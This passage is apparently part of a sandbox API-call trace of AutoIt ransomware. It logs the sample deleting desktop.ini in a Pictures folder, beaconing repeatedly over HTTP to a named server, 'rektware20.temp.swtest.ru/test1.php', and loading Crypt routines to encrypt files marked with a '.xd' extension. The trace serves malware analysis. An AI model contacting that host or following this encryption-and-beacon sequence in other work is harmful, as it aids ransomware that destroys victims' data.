(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\desktop.ini")) returned 0x26 [0059.934] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c9b0 [0059.934] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\desktop.ini")) returned 1 [0059.936] FindNextFileW (in: hFindFile=0x164c9b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0059.936] FindClose (in: hFindFile=0x164c9b0 | out: hFindFile=0x164c9b0) returned 1 [0059.936] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0059.936] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.936] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.936] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.936] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0059.936] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0059.937] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.937] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0059.937] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0059.937] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0059.937] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0059.937] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620df0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620df0, lpdwBufferLength=0x130ef8c) returned 1 [0059.937] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0059.937] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0059.940] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0059.940] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0059.940] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0059.940] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0059.940] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629280, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629280*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0059.940] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0059.940] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0059.941] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0059.941] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0059.941] CloseHandle (hObject=0x0) returned 0 [0059.941] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.941] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.941] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.941] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.941] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.941] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.941] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.941] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.941] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.941] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.941] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="687iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="87iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iCCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CCDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CDsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DsUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sUKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UKTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KTyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TyS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yS.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="S.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0059.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.943] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.943] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0059.943] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0059.944] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0059.944] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0059.944] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0059.944] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0059.944] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0059.944] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621018, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1621018, lpdwBufferLength=0x130ee1c) returned 1 [0059.944] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0059.944] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0059.944] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0059.945] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0059.945] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0059.945] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0059.945] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0059.945] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629480, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629480*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0059.945] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0059.945] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0059.945] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0059.945] CloseHandle (hObject=0x0) returned 0 [0059.945] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.945] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0059.946] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0059.946] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.946] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0059.946] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.946] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.946] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0059.946] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.946] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0059.946] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.946] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.946] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0059.947] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.947] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.947] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.947] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.947] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.947] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0059.947] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0059.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0059.947] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0059.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0059.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0059.948] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0059.948] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa9a0) returned 1 [0059.948] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.948] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.948] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0059.948] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.949] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.949] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.949] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.949] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.949] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0059.949] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.949] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.949] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.950] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.950] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.950] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.950] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0059.951] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.951] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.951] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0059.951] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.951] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.951] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0059.951] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.951] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.951] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0059.951] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.951] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.951] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.951] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.951] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.952] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.952] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.952] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0059.952] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.952] CharLowerBuffW (in: lpsz="bool", 